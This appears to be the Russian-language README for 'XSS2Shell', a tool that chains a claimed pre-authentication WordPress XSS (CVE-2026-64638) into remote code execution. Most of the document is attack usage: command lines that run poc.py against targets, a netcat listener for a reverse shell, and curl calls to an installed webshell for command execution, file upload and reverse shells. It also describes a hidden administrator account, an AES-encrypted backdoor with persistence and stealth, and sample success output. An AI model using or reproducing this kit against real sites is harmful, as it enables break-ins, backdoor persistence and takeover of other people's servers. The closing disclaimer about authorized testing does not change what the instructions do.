
Эксплуатирует XSS-уязвимость WordPress до аутентификации (CVE-2026-64638) для достижения удалённого выполнения кода, устанавливая зашифрованный AES-бэкдор-вебшелл с функциями закрепления, загрузки файлов, reverse shell и скрытности для авторизованных red-team мероприятий.
Цепочка эксплойтов WordPress Pre-Auth XSS → RCE
Разработано G0D150NE
# Clone
git clone https://github.com/g0d150ne/XSS2Shell.git
cd XSS2Shell
# Install dependencies
pip3 install requests beautifulsoup4 cryptography
# Run
python3 poc.py -h
# Open terminal for reverse shell
nc -lvnp 4444
Автоматический режим (рекомендуется)
python3 poc.py http://target.com -u admin -p pass123 --lhost 192.168.1.100
Режим XSS (без учётных данных)
python3 poc.py http://target.com --mode xss --lhost 192.168.1.100
Прямой режим (с учётными данными)
python3 poc.py http://target.com -u admin -p pass123 --mode direct --lhost 192.168.1.100
После установки веб-шелла:
# Base64 encoded (recommended)
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?b2h='$(echo -n 'id' | base64)
# Plain command
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?cmd=whoami'
# Upload file
curl -F '[email protected]' http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
# Reverse shell
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?rev=1'
# 1. Auto scan + exploit
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5
# 2. XSS chain without credentials
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5
# 3. Custom port & plugin name
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --lport 1337 --slug backdoor
# 4. Change backdoor password
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --backdoor-pass MySecretPass
# 5. Custom callback port
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5 --callback-port 9999
| Параметр | Описание | По умолчанию |
|---|---|---|
target | Целевой URL WordPress | Обязательно |
-u, --username | Имя администратора WordPress | - |
-p, --wp-pass | Пароль администратора WordPress | - |
--lhost | IP-адрес слушателя | 127.0.0.1 |
--lport | Порт слушателя | 4444 |
--mode | Режим эксплойта (auto/xss/direct) | auto |
--slug | Slug-имя плагина | g0d150ne |
--callback-port | Порт callback-сервера | 9090 |
--backdoor-pass | Пароль бэкдора | G0D150NE |
После успешной эксплуатации:
| Возможность | Команда |
|---|---|
| Выполнение команды | ?b2h=BASE64_CMD |
| Загрузка файла | -F '[email protected]' |
| Reverse shell | ?rev=1 |
| Обычная команда | ?cmd=id |
| Зашифрованный бэкдор | ?decrypt=AES_DATA |
Создан скрытый администратор:
sysadmin_{slug}{backdoor-pass} (по умолчанию: G0D150NE)╔══════════════════════════════════════════════════════════════════╗
║ Target : http://wordpress-site.com
║ Attacker : 192.168.1.100:4444
║ Plugin : g0d150ne
║ Mode : AUTO
╚══════════════════════════════════════════════════════════════════╝
[•] Detecting WordPress version...
[+] WordPress version: 6.7.0
[•] Testing XSS vulnerability...
[+] XSS vulnerable! Vector: <area id=ajaxurl...
[+] Login successful as admin
[+] Plugin uploaded successfully
[+] Webshell ready: http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
[+] Test: uid=33(www-data)
╔══════════════════════════════════════════════════════════════════╗
║ [+] EXPLOIT SUCCESSFUL ║
╠══════════════════════════════════════════════════════════════════╣
║ WEBSHELL: ║
║ http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php ║
║ ADMIN USER CREATED: ║
║ Username: sysadmin_g0d150ne ║
║ Password: G0D150NE ║
╚══════════════════════════════════════════════════════════════════╝
| Проблема | Решение |
|---|---|
ModuleNotFoundError | pip3 install requests beautifulsoup4 cryptography |
Connection refused | Проверьте слушателя: nc -lvnp 4444 |
Login failed | Проверьте учётные данные или используйте режим XSS |
Plugin upload failed | Проверьте права доступа, используйте другой slug |
Argument conflict | Используйте -p для wp-pass, --backdoor-pass для бэкдора |
Только для образовательных целей и авторизованного тестирования.
Используйте только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
Автор не несёт ответственности за любое неправомерное использование или причинённый ущерб.